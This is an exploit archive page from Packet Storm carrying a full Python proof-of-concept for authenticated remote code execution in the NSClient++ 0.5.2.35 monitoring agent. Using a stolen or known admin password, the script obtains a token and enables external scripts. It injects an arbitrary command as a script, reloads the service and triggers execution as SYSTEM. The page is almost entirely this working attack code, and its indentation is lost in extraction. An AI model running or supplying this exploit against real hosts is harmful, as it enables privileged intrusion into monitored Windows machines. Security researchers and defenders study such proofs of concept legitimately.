exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

NSClient++ 0.5.2.35 Authenticated Remote Code Execution

NSClient++ 0.5.2.35 Authenticated Remote Code Execution
Posted Apr 21, 2020
Authored by kindredsec

NSClient++ version 0.5.2.35 suffers from an authenticated remote code execution vulnerability.

tags | exploit, remote, code execution
SHA-256 | 053705c2b596c7f38b7eb30e3af51eec6fef0aeb113ab9277200a3f98bf4b2f9

NSClient++ 0.5.2.35 Authenticated Remote Code Execution

Change Mirror Download
# Exploit Title: NSClient++ 0.5.2.35 - Authenticated Remote Code Execution
# Google Dork: N/A
# Date: 2020-04-20
# Exploit Author: kindredsec
# Vendor Homepage: https://nsclient.org/
# Software Link: https://nsclient.org/download/
# Version: 0.5.2.35
# Tested on: Microsoft Windows 10 Pro (x64)
# CVE: N/A
#
# NSClient++ is a monitoring agent that has the option to run external scripts.
# This feature can allow an attacker, given they have credentials, the ability to execute
# arbitrary code via the NSClient++ web application. Since it runs as NT Authority/System bt
# Default, this leads to privileged code execution.

#!/usr/bin/env python3

import requests
from bs4 import BeautifulSoup as bs
import urllib3
import json
import sys
import random
import string
import time
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def generateName():

letters = string.ascii_lowercase + string.ascii_uppercase
return ''.join(random.choice(letters) for i in range(random.randint(8,13)))

def printStatus(message, msg_type):

C_YELLOW = '\033[1;33m'
C_RESET = '\033[0m'
C_GREEN = '\033[1;32m'
C_RED = '\033[1;31m'

if msg_type == "good":
green_plus = C_GREEN + "[+]" + C_RESET
string = green_plus + " " + message

elif msg_type == "info":
yellow_ex = C_YELLOW + "[!]" + C_RESET
string = yellow_ex + " " + message

elif msg_type == "bad":
red_minus = C_RED + "[-]" + C_RESET
string = red_minus + " " + message

print(string)


# This function adds a new external script containing the desired
# command, then saves the configuration
def configurePayload(session, cmd, key):

printStatus("Configuring Script with Specified Payload . . .", "info")
endpoint = "/settings/query.json"
node = { "path" : "/settings/external scripts/scripts",
"key" : key }
value = { "string_data" : cmd }
update = { "node" : node , "value" : value }
payload = [ { "plugin_id" : "1234",
"update" : update } ]
json_data = { "type" : "SettingsRequestMessage", "payload" : payload }

out = session.post(url = base_url + endpoint, json=json_data, verify=False)
if "STATUS_OK" not in str(out.content):
printStatus("Error configuring payload. Hit error at: " + endpoint, "bad")
sys.exit(1)

printStatus("Added External Script (name: " + key + ")", "good")
time.sleep(3)
printStatus("Saving Configuration . . .", "info")
header = { "version" : "1" }
payload = [ { "plugin_id" : "1234", "control" : { "command" : "SAVE" }} ]
json_data = { "header" : header, "type" : "SettingsRequestMessage", "payload" : payload }

session.post(url = base_url + endpoint, json=json_data, verify=False)


# Since the application needs to be restarted after making changes,
# this function reloads the application, and waits for it to come back.
def reloadConfig(session):

printStatus("Reloading Application . . .", "info")
endpoint = "/core/reload"
session.get(url = base_url + endpoint, verify=False)

# Wait until the application successfully reloads by making a request
# every 10 seconds until it responds.
printStatus("Waiting for Application to reload . . .", "info")
time.sleep(10)
response = False
count = 0
while not response:
try:
out = session.get(url = base_url, verify=False, timeout=10)
if len(out.content) > 0:
response = True
except:
count += 1
if count > 10:
printStatus("Application failed to reload. Nice DoS exploit! /s", "bad")
sys.exit(1)
else:
continue


# This function makes the call to the new external script to
# ultimately execute the code.
def triggerPayload(session, key):

printStatus("Triggering payload, should execute shortly . . .", "info")
endpoint = "/query/" + key
try:
session.get(url = base_url + endpoint, verify=False, timeout=10)
except requests.exceptions.ReadTimeout:
printStatus("Timeout exceeded. Assuming your payload executed . . .", "info")
sys.exit(0)


# Before setting up the exploit, this function makes sure the
# required feature (External Scripts) is enabled on the application.
def enableFeature(session):

printStatus("Enabling External Scripts Module . . .", "info")
endpoint = "/registry/control/module/load"
params = { "name" : "CheckExternalScripts" }
out = session.get(url = base_url + endpoint, params=params, verify=False)
if "STATUS_OK" not in str(out.content):
printStatus("Error enabling required feature. Hit error at: " + endpoint, "bad")
sys.exit(1)


# This function obtains an authentication token that gets added to all
# remaining headers.
def getAuthToken(session):

printStatus("Obtaining Authentication Token . . .", "info")
endpoint = "/auth/token"
params = { "password" : password }
auth = session.get(url = base_url + endpoint, params=params, verify=False)
if "auth token" in str(auth.content):
j = json.loads(auth.content)
authToken = j["auth token"]
printStatus("Got auth token: " + authToken, "good")
return authToken
else:
printStatus("Error obtaining auth token, is your password correct? Hit error at: " + endpoint, "bad")
sys.exit(1)



parser = argparse.ArgumentParser("NSClient++ 0.5.2.35 Authenticated RCE")
parser.add_argument('-t', nargs='?', metavar='target', help='Target IP Address.')
parser.add_argument('-P', nargs='?', metavar='port', help='Target Port.')
parser.add_argument('-p', nargs='?', metavar='password', help='NSClient++ Administrative Password.')
parser.add_argument('-c', nargs='?', metavar='command', help='Command to execute on target')
args = parser.parse_args()

if len(sys.argv) < 4:
parser.print_help()
sys.exit(1)

# Build base URL, grab needed arguments
base_url = "https://" + args.t + ":" + args.P
printStatus("Targeting base URL " + base_url, "info")
password = args.p
cmd = args.c

# Get first auth token, and add it to headers of session
s = requests.session()
token = getAuthToken(s)
s.headers.update({ "TOKEN" : token})

# Generate a random name, enable the feature, add the payload,
# then reload.
randKey = generateName()
enableFeature(s)
configurePayload(s, cmd, randKey)
reloadConfig(s)

# Since application was reloaded, need a new auth token.
token = getAuthToken(s)
s.headers.update({ "TOKEN" : token})

# Execute our code.
triggerPayload(s, randKey)
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close